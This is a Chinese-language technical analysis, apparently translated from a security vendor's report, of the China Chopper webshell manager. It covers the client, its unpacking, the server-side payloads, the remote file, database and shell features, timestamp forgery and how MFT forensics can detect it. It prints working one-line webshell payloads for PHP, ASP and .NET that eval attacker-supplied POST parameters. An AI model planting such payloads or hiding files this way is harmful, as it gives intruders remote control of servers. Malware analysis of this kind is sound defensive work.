Chopper是中国黑客圈内使用非常广泛的一款Webshell管理工具。中国菜刀用途十分广泛,支持多种语言,小巧实用。
Web Shell客户端
中国菜刀的客户端可在www.maicaidao.com下载到。
- Web shell (CnC) Client MD5
- caidao.exe 5001ef50c7e869253a7c152a638eab8a
注:这里可以对你的下载菜单的MD5值是否相同,如果不同则有可能加了后门或者捆绑了木马。
客户端使用UPX加壳,有220672个字节大小,如图1所示:
使用脱壳工具脱壳,可以看到一些隐藏的细节:
- C:Documents and SettingsAdministratorDesktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2011
- UPX 3.08w Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011
- File size Ratio Format Name
- -------------------- ------ ----------- -----------
- 700416 <- 220672 31.51% win32/pe decomp.exe
- Unpacked 1 file.
使用PEID(一个免费检测软件使用的加壳手法的工具),我们可以看到解压缩后的客户端程序使用Visual C + + 6.0编写,如图2所示:
因为字符串没有进行编码,所以可以通过打印输出该后门如何通信,我们可以看到一个url google.com.hk(图3),以及参考文本Chopper(图4)。
打开中国菜刀界面,我们可以看到该工具是一款图形界面工具,并且提供了添加自己的目标、管理的功能,在客户端软件上,右键单击选择“添加”,输入IP地址,以及密码和编码方式,如图5所示:
服务端payload组件
中国菜刀的工具是一款Webshell管理工具,相应必然有一个服务端的程序,它支持各种语言,如ASP、ASPX、PHP、JSP、CFM,一些官网下载原始程序MD5 HASH如下:
- Web shell Payload MD5 Hash
- Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08
- Customize.cfm ad8288227240477a95fb023551773c84
- Customize.jsp acba8115d027529763ea5c7ed6621499
例子如下:
- PHP: <?php @eval($_POST['pass']);?>
- ASP: <%eval request("pass")%>
- .NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
在实际使用过程中,替换PASS为链接的时候需要的密码。
功能
上面简单介绍了中国菜刀的客户端和服务端的,下面来介绍下该款工具的其他功能,中国菜刀包含了“安全扫描”功能,攻击者能够使用爬虫或暴力破解来攻击目标站点,如下图:
在除了发现漏洞之外,中国菜刀最强大的莫过于管理功能了,包含以下内容:
- 文件管理(文件资源管理器)
- 数据库管理(DB客户端)
- 虚拟终端(命令行)
在中国菜刀的客户端界面中,右键单击一个目标可以查看相应的功能列表,如图7:
文件管理
中国菜刀作为一个远程访问工具(RAT),包含了常见的上传、下载、编辑、删除、复制、重命名以及改变文件的时间戳。如图8:
修改文件功能现在常见的webshell就带了该功能,图9显示了测试目录的三个文件,因为Windows资源管理器只显示“修改日期”字段,所以通常情况下,能够达到隐藏操作的目的。
使用工具将文件修改和其他两个文件相同,如图10,可以看到文件的修改的日期和其他两个文件一致,如果不是专业的人士,一般不会看出这几个文件的区别:
当文件的创建日期和修改日期被修改之后,查出异常文件非常麻烦,需要分析主文件表MFT以及FTK,fireeye建议使用工具mftdump来进行分析,该工具能够提取文件元数据进行分析。
下表显示了从MFT中提取的Webshell时间戳,注意”fn*”字段包含了文件的原始时间。
- Category Pre-touch match Post-touch match
- siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48
- siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56
- siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48
- siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56
- fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01
- fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03
- fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42
- fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04
数据库管理
中国菜刀支持各种数据库,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等,数据库操作界面,内置了一些常用的数据库语句,能够自动显示表名、列名,查询语句,并且内置了常用的数据库语句。如下图11:
链接之后,菜刀提供了一些常见的数据库语句,如图12:
命令行功能
最后,菜刀提供了一个命令行界面,能够通过命令行shell进行操作系统级别的互动,当然继承的权限是WEB应用的权限。如图13:
Payload属性
除了以上的功能之外,中国菜刀的能够在黑客圈广泛使用,还有以下几个因素:
- 大小
- 服务端内容
- 客户端内容
- 是否免杀
大小
中国菜刀的服务端脚本非常小,是典型的一句话木马,其中aspx服务端软件只有73字节,见图14,相比其他传统的webshell可见它的优越性。
服务端内容
中国菜刀的服务端代码除了简洁之外,并且支持多种加密、编码。
客户端内容
在浏览器不会产生任何客户端代码,如图16:
杀毒软件检测:
大多数杀毒软件不能检测出该工具。如下图:
在第一部门份的菜刀剖析里面,已经介绍了“中国菜刀”的易用界面以及一些高级特性。——其中最令人注目的,莫过于其作为web shell的大小,aspx版仅有73字节,在硬盘中才4k。而在这部分里,将会详细“中国菜刀”平台适用性、上传机制、通讯模式以及如何侦测,至于中国菜刀一直在争论的一个话题,有没有后门,各位基友,您看了就知道了。
平台:
web服务器平台——JSP, ASP, ASPX, PHP, 或 CFM。同时在Windows和Linux适用。在系列一的分析里面已经展示过“中国菜刀”在windows 2003 IIS 中运行ASPX的情况。在这一部分里,讲展示运行在Linux平台下的PHP情况。如下图所示,PHP版本的内容极其精简。
依赖与不同的平台,“中国菜刀”有不同的可选项。下图显示了在Linux平台下的文件管理特性,(类似于Windows)
上传机制:
由于它的大小,格式,以及简单的payload,“中国菜刀”的传输机制可以很灵活多样。以下任意一种方法都可以进行传输:
- 通过WebDAV文件上传
- 通过JBoss jmx-console 或者Apache的Tomcat管理页面上传
- 远程代码执行下载
- 通过其他方式接入后传输
通讯分析:
我们已经看过它在服务器端的payload以及控制web shell的客户端。接下来,我们检查一下“中国菜刀”的通讯网络流量。我们通过抓包软件,分析其服务端和客户端的通讯情况。
利用抓包软件Wireshark的“follow the TCP”功能可以看到整个TCP数据交互过程。